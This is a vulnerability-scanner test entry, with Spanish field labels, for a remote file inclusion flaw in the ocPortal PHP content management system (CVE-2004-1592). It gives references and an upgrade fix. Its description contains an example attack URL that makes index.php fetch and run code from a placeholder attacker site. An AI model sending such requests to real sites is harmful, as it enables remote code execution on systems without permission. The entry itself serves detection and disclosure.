ID de Prueba:	1.3.6.1.4.1.25623.1.0.15468
Categoría:	CGI abuses
Título:	ocPortal Remote File Include
Resumen:	NOSUMMARY
Descripción:	Description: The remote host is running ocPortal, a content management system written in PHP. There is a bug in the remote version of this software which may allow an attacker to execute arbitrary commands on the remote host by using a file inclusion bug in the file 'index.php'. An attacker may execute arbitrary commands by requesting : http://www.example.com/index.php?req_path=http://[evilsite]/ which will make the remote script include the file 'funcs.php' on the remote site and execute it. Solution : Upgrade the newest version of this software Risk factor : High
Referencia Cruzada:	BugTraq ID: 11368 Common Vulnerability Exposure (CVE) ID: CVE-2004-1592 http://www.securityfocus.com/bid/11368 Bugtraq: 20041012 [hackgen-2004-#002] - Remote file inclusion bug in ocPortal 1.0.3. (Google Search) http://marc.info/?l=bugtraq&m=109763314312828&w=2 http://www.hackgen.org/advisories/hackgen-2004-002.txt http://secunia.com/advisories/12811/ XForce ISS Database: ocportal-reqpath-file-include(17699) https://exchange.xforce.ibmcloud.com/vulnerabilities/17699
Copyright	This script is Copyright (C) 2004 Tenable Network Security

Esta es sólo una de 146377 pruebas de vulnerabilidad en nuestra serie de pruebas. Encuentre más sobre cómo ejecutar una auditoría de seguridad completa. Para ejecutar una prueba gratuita de esta vulnerabilidad contra su sistema, regístrese ahora.